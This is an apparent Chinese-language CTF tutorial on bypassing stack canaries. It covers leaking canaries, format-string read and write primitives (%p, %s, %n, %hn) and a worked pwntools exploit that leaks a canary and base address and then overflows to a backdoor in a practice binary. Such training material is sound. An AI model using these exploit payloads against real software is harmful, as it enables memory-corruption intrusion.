canary的各种姿势----pwn题解版-先知社区这篇文章有非常全的绕过canary的方法,感兴趣可以去看看。
一,Canary 机制
1: 什么是 Canary?(栈保护机制)
- 核心定义:Canary(金丝雀)是一种用于检测栈溢出攻击的安全机制。
- 工作原理:
- 在函数开始处,程序会随机生成一个值(Canary),并放置在局部变量和
rbp(栈底指针)之间。 - 在函数返回 (
ret) 之前,程序会检查这个值是否被篡改。
- 在函数开始处,程序会随机生成一个值(Canary),并放置在局部变量和
- 致命报错:
*** stack smashing detected ***: terminated - 显著特征:在 x86/x64 Linux 下,Canary 的最低位字节通常是
\x00(为了截断字符串输出函数)。
想象你在雷区前撒了一把面粉(Canary)。黑客如果想通过栈溢出踩到远处的返回地址(RIP),就不可避免地会踩乱这把面粉。程序在结束前一回头,发现面粉乱了,就会立刻自尽,绝不执行黑客的恶意代码。最低位的
\x00是个聪明的设计,它能防止puts或strcpy意外把它泄露出来。
2: 绕过 Canary 的核心战略 —— 泄露 (Leak)
- 知己知彼:既然不能盲目覆盖,那我们就提前把 Canary 的值读出来。
- 前提条件:程序中必须存在信息泄露漏洞(如
printf(buf)或可以控制打印长度的write)。 - 操作步骤:
- 填平壕沟:输入正好填充到 Canary 之前的字符(覆盖掉最低位的
\x00)。 - 迫使输出:调用
puts或printf打印出被修改后的 Canary。 - 原样奉还:在最终的栈溢出 Payload 中,把泄露出的 Canary 放在它原本的位置。
- 填平壕沟:输入正好填充到 Canary 之前的字符(覆盖掉最低位的
因为 Canary 只有遇到
\x00才会停止打印,我们故意多输入一个字符(比如 'A'),把 Canary 开头的\x00覆盖掉,或者sendline加入一个‘\x0a'。这样puts连带 Canary 剩下的 7 个字节一起吐出来。我们拿到后,把开头补回\x00,在构造 ROP 链时把它填回原位,程序检查时就会以为“无事发生”。
fmt:格式化字符串漏洞
1: 漏洞的诞生 (The Format String Bug)
- 安全写法:
printf("%s", buf);(严格指定格式) - 危险写法:
printf(buf);(用户输入直接作为格式化控制符) - 漏洞本质:
printf是一个可变参数函数。它会根据字符串中的%数量,盲目地去栈上(或寄存器中)抓取数据。如果用户输入了%p%p%p,程序就会把栈上的机密数据当作指针打印出来。
2: 任意地址读
%p或%x:以十六进制打印栈上的数据。- 用途:寻找输入缓冲区在栈上的偏移量(Offset),泄露 Canary、Libc 基址或栈地址。
%<offset>$p:直接打印栈上第offset个位置的数据。- 示例:
%15$p直接打印第 15 个参数。
- 示例:
%<offset>$s:将栈上第offset个位置的数据当作指针,打印该地址指向的字符串。- 用途:泄露 GOT 表中函数的真实内存地址。
%p是读栈上的“值”,%s是把栈上的值当成“地址”,去读那个地址里的内容。利用%s,我们可以指哪打哪,读出puts的 GOT 表项,从而计算出 Libc 的基地址。
3: 终极杀招 —— 任意地址写 (Arbitrary Write)
- 危险的
%n:格式化字符串不仅能读,还能写! - 机制:
%n会将已经打印出来的字符数量,写入到对应的指针地址中。 - 进阶技巧:
%n:写入 4 字节。%hn:写入 2 字节(Half,常用于分段写入,避免打印几亿个字符导致程序崩溃)。%hhn:写入 1 字节。
- 实战应用:配合
%<offset>$n,将特定的数值(如system的地址)写入到特定的内存单元(如printf的 GOT 表项)。
%n是格式化字符串漏洞的灵魂。如果我们想把地址0x1234(十进制 4660) 写入某个地方,我们只需要构造类似于%4660c%8$n的 payload。程序会先打印 4660 个空格,然后遇到%n,把“已打印数量(4660)”存入第 8 个参数指向的地址。注:可用 Pwntools 的
fmtstr_payload(offset, {GOT_ADDR: SYSTEM_ADDR})。
4: 64 位系统的“零字节”天坑
- 32 位时代的打法:
[目标地址] + %<offset>$n(地址在前,格式化符在后)。 - 64 位时代的痛点:64 位地址往往长这样:
0x00007fffffff1234。高位的\x00会让printf以为字符串结束了,直接截断! - 解决方案 (尾部对齐法):
- 将格式化控制符(如
%7$s)放在 Payload 的最前面。 - 用无用字符(如
aaaa)进行字节对齐(凑满 8 的倍数)。 - 将包含
\x00的目标地址(如p64(got_addr))放在 Payload 的最后面。
- 将格式化控制符(如
这是一个无数新手卡住的地方。一旦 Payload 中间出现
\x00,printf就会立刻罢工。所以我们必须“倒装句”。先告诉printf你要去第几个位置读/写,把它骗过去之后,再把带有\x00的真实地址藏在 Payload 的最末尾。
预习题讲解
很显然这是一道典型的格式化字符串漏洞题目,给了一次格式化字符串利用和一次栈溢出,还给了后门函数,就是练习一下用格式化字符串去泄露。

printf(buf)触发漏洞
首先保护全开,一次格式化字符串用来泄露程序基地址和canary,然后栈溢出劫持到后门就行。


p.recvuntil(b"Stage 1: Tell me your name (Format String)\n")
p.send(b"%11$paa%9$p\n") #中间的aa隔断一下
p.recvuntil(b"Hello, ")
leak_data = p.recv(18)
canary = int(leak_data, 16)
p.recvuntil('aa') #在这个地方方便接收下一个地址
base = p.recv(14)
base = int(base,16)-0x125e
print(f"Leaked Canary: {hex(canary)}")
print(f"Leaked base: {hex(base)}")
这是泄露两个地址的脚本,现在进入gdb调试看一下

此时的栈上

可以看到偏移为9的地址处可以泄露程序基地址,偏移为11的地址上存放canary,ni下一步触发漏洞,带出来了下面的数据,中间有aa隔开

接着,计算backdoor地址,基本的栈溢出就能拿到shell。
p.recvuntil(b"Stage 2: Leave your payload (Stack Overflow)\n")
payload = b'a'*0x28+p64(canary)+b'b'*8+p64(base+0x128e)
p.send(payload)
非栈上格式化字符串
主要讲解手法,就不贴出exp了


因为非栈上格式化字符串我们无法利用自己写在栈上的数据,只能利用栈上原有的数据,常见的做法就是泄露rbp之后,利用如图中的链子,因为我们能拿到rbp,所以上述链子的偏移能够调试得到,然后我们修改下面链子的0x7fff4058a738到0x7fff40588df8(返回地址)
0f:0078│+058 0x7fff40588e48 —▸ 0x7fff40588f28 —▸ 0x7fff4058a738 ◂— 0x485300746d662f2e /* './fmt' */

这样就使得链子指向了返回地址,然后利用下面的链子修改返回地址就可以了
2b:0158│+138 0x7fff40588f28 —▸ 0x7fff40588df8 —▸ 0x55e6bffe34ab (game+121) ◂— nop
下图可以看到通过修改上面这一行间接修改了返回地址


259

被折叠的 条评论
为什么被折叠?



